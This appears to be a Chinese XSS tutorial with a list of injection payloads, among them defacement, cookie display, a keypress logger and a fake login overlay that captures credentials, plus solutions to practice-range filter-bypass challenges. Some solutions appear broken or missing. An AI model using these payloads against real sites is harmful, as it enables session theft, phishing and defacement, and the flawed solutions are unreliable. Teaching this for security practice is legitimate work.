xss攻击
示例:网络留言板
示例网站:网络安全演示 - 留言板
xss攻击,日常弹窗alert()只是我们测试危害的一种方式
xss攻击的本质,是让人家的浏览器去因为你找到的网站漏洞去运行恶意js代码
测试弹窗,有很多时候弹窗种类多种多样
下面是示例注入代码:
- js弹窗
1
|
<script>alert(1)</script>
|
- 基于图片报错弹窗
1
|
<img src=x onerror="alert(1)" />
|
- 基于图片报错篡改网页
1
|
<img src=x onerror="document.body.innerHTML='<h1 style=color:red;padding:50px;>haha wocao</h1>'" />
|
- 基于矢量图网页加载时弹窗
1
|
<svg onload="alert(1)" />
|
- 基于iframe容器网页加载时弹窗
1
|
<iframe onload="alert(1)"></iframe>
|
- 基于iframe容器在网页中加载其他网页
1
|
<iframe src="https://www.baidu.com" onload="alert(1)"></iframe>
|
- 鼠标掠过时弹窗
1
|
<div onmouseover="alert(1)">点我抽奖</div>
|
- 基于图片报错弹窗cookie信息
1
|
<img src=x onerror="alert('Cookie: ' + document.cookie)">
|
- 基于图片报错的键盘检测
1
|
<img src=x onerror="document.addEventListener('keypress',function(e){console.log('按键:'+e.key)});">
|
- 基于图片报错的伪装登录页面
1
|
<img src=x onerror="var d=document;d.body.innerHTML='<div style=position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:9999;display:flex;align-items:center;justify-content:center><div style=background:white;padding:30px;border-radius:10px;text-align:center><h2>系统提示</h2><p>您的账户存在异常,请重新登录</p><input type=text placeholder=用户名 id=u style=margin:10px;padding:10px;width:200px><input type=password placeholder=密码 id=p style=margin:10px;padding:10px;width:200px><button onclick=var u=document.getElementById(String.fromCharCode(117));var p=document.getElementById(String.fromCharCode(112));alert(String.fromCharCode(29992,25143,21517,58)+u.value+String.fromCharCode(10,23494,30721,58)+p.value);this.parentElement.parentElement.remove() style=margin:10px;padding:10px 20px;background:#667eea;color:white;border:none;border-radius:5px;cursor:pointer>登录</button></div></div>'">
|
练习题
链接:练习靶场
讲解(部分)
- 0x04
server code:
1
2
3
4
5
|
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
|
可以看到服务端对输入的字符串中(、)、 全部进行了删除,所以我们这里要使用html特有的实体编号来代替,因为(、)对应的实体编号分别是40、41,在引用时使用&#编号;`格式
所以有示例答案:
1
|
<img src=x onerror="alert(1)">
|
更多html实体编码请查:HTML ASCII 字符完整对照表
- 0x06
server code:
1
2
3
4
|
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
|
服务端屏蔽了auto(不论大小写)、on开头=结尾的字符串、>三种元素
这里我们借助html语言松散的特点
点击一下上面的文字1就可以了
- 0x08
server code:
1
2
3
4
5
6
7
8
|
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
|
可以看到服务端对</style>进行了屏蔽,这里我们利用html的特性把标签拆开
1
2
3
4
|
</style
>
<script>alert(1)</script>
<style>
|
- 0x0B
server code:
1
2
3
4
|
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}
|
可以看到服务端把所有小写字母都转为了大写字母,这里我们利用js函数大小写敏感但是html标签大小写不敏感的特性,从外部调用js代码,我们新建一个abc.js文件,写入alert(1);将文件放在phpstudy的网页根目录,
1
|
</h1><script src="http://127.0.0.1/abc.js"></script><h1>
|
- 0x0D
server code:
1
2
3
4
5
6
7
8
|
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}
|
注意到服务端屏蔽了</"',并且文本被放在一个很尴尬的位置:
1
2
3
|
<script>
// alert('文本在这里')
</script>
|
所以我们先换行逃出注释,再写出alert(1)的主函数,最后用-->来屏蔽后边剩余的')
- 0x0F
server code:
1
2
3
4
5
6
7
8
9
10
11
|
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}
|
服务端伪屏蔽(将字符转为了html实体编号,不影响计算机读取)了很多字符,这里我们正常操作将可以闭合的部分闭合,不同元素之间用;断开,注意利用//注释掉不必要的部分
1
2
3
|
' );alert(1)//
屏蔽前长这样<img src onerror="console.error('' );alert(1)//')">
|
- 0x12
server code:
1
2
3
4
5
|
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}
|
这里针对"进行了屏蔽:将"替换为\",也就是变为普通引号,先重点在于将前面的("闭合,将\加再替换后的",也就是\"前就会使对引号的转义失效(\\"结构),从而成功闭合
1
|
21\");alert(1)</script>
|
填入后长这样<script>console.log("21\\");alert(1)</script>");</script>